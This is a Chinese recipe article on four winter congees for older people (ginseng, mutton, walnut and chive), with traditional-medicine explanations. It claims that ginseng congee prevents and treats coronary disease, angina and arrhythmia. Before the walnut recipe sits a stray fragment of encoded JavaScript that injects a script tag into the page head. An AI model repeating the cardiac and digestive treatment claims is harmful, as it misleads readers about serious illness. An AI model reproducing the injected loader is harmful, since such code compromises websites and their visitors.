冬季天寒地凍，中醫認爲寒氣盛則傷人之陽氣。中、老年人多陽氣不足，不耐寒冷。因此，中、老年人在冬季多食些禦寒粥，既可防病壯體，又可禦寒。下面我們就推薦四款中、老年人冬季禦寒粥的做法：人蔘粥、羊肉粥、核桃粥、韭菜粥。
四款中、老年人冬季禦寒粥
冬季天寒地凍，中醫認爲寒氣盛則傷人之陽氣。中、老年人多陽氣不足，不耐寒冷。因此，中、老年人在冬季多食些禦寒粥，既可防病壯體，又可禦寒。
人蔘粥
取人蔘3克，置沙鍋內，加水文火慢煮20分鐘，再加粳米100克煮至粥稠，放入適量蜂蜜或冰糖調味服食。適合於病後體虛，或畏寒食滯、便溏泄瀉的中、老年人食用。經常食用人蔘粥，對心肌營養不良、冠狀動脈硬化及心絞痛、心律失常等症患者有良好的防治作用。
羊肉粥
選瘦羊肉250克，洗淨，切成肉丁，與1個蘿蔔同燉，去羶味。然後取出蘿蔔，放粳米150克熬粥。羊肉性溫熱，系高蛋白、低膽固醇食品，冬季常食羊肉粥可益氣補虛、溫中暖下，還能益腎壯陽。最適宜貧血、慢性胃炎及虛寒證患者食用。
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cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">核桃粥
取核桃仁50克、搗碎，與粳米100克煮粥食，可溫補精髓。核桃仁熱量高，含豐富的亞油酸，有補腦養血、養胃健脾、補腎壯腰之功效，適合腎虛畏寒、腰膝痠軟無力者食用。還可輔助治療慢性胃炎及慢性結腸炎。
韭菜粥
先把粥煮熟，再將適量韭菜切碎投入，稍煮片刻便可食用。韭菜內含有大量的維生素A、B、C和鈣、磷、鐵等物質。熟韭菜甘溫補中。經常食用韭菜粥可助陽緩下、補中通絡。適合背寒氣虛、腰膝酸冷者食用。
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